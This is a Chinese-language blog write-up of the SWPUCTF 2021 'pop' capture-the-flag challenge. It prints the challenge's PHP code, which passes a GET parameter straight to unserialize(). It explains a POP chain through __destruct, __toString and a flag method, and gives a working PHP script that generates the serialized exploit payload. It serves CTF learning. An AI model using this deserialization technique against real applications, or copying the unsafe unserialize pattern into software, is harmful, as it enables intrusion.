NSSCTF [SWPUCTF 2021 新生赛]pop

进入就看见一串代码,直接开启代审

<?php

error_reporting(0);
show_source("index.php");

class w44m{

    private $admin = 'aaa'; 
    protected $passwd = '123456';

    public function Getflag(){//通过该函数来获得flag
        if($this->admin === 'w44m' && $this->passwd ==='08067'){//当admin=w44m,passwd=08067时包含flag.php
            include('flag.php');
            echo $flag;
        }else{
            echo $this->admin;
            echo $this->passwd;
            echo 'nono';
        }
    }
}

class w22m{
    public $w00m;
    public function __destruct(){//__destruct() 类的析构函数,在对象被销毁时被调用
        echo $this->w00m;
    }
}

class w33m{
    public $w00m;
    public $w22m;
    public function __toString(){//__toString(),这个方法的对象被当作字符串时执行
        $this->w00m->{$this->w22m}();
        return 0;
    }
}

$w00m = $_GET['w00m'];
unserialize($w00m);//对w00m进行反序列化

?>

通过上面的分析我们知道,flag.php被包含在Getflag这个方法中,我们需要使用某种手段来调用它,而w33m类里面有__toString()方法,当对象被当作字符串时执行。因此我们可以通过设置w44m的两个对象admin和passwd分别为w44m和08067,然后在w22m中赋值$w00m为w33m,并通过w22m调用w33m,分别为w33m的两个对象赋值,$w00m->w44m,$w22m->Getflag,,最后对w22m进行序列化和url加密。最终得到以下exp:

<?php
class w44m{

    private $admin = 'w44m';
    protected $passwd = '08067';
    }
class w22m{
    public $w00m;}
class w33m{
    public $w00m;
    public $w22m;}
$a=new w22m();
$a->w00m=new w33m();
$a->w00m->w00m=new w44m();
$a->w00m->w22m='Getflag';
$b=urlencode(serialize($a));
echo $b;

给w00m传递刚刚运行的结果,获取到flag。

 

posted @ 2024-08-19 19:54  karasbai  阅读(88)  评论(0)    收藏  举报